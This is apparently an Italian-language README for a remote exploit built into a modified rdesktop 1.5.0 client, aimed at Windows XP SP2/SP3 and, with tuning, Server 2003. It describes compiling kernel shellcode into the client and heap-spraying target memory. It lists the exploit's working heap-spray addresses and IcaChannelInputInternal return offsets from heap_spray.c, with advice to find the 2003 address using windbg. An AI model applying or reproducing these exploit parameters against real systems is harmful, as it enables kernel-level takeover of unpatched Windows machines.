
funziona su xp (tutte le versioni sp2 sp3)
ps: shellcode/shellcode.asm è il codice sorgente dello shellcode kernel, compilato e convertito in binario, diventa il file rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, verrà compilato direttamente nel programma durante il make.
Attualmente supporta solo XP, necessita di XP con memoria >= 2 GB
Per supportare 2003, è necessario modificare il macro HEAP_SPRAY_ADDRESS in heap_spray.c, dopo ripetuti test, questo indirizzo varia in base alle diverse versioni di sistema e dimensioni di memoria di 2003. Ma se si testa sulla propria macchina, è possibile sfruttare con successo su 2003. Non è universale.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 // Devi trovare l'indirizzo dello shellcode heap spray tramite debug con windbg. Se qualcuno trova una soluzione universale, benvenuto a inviare issue
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
Test su 2003
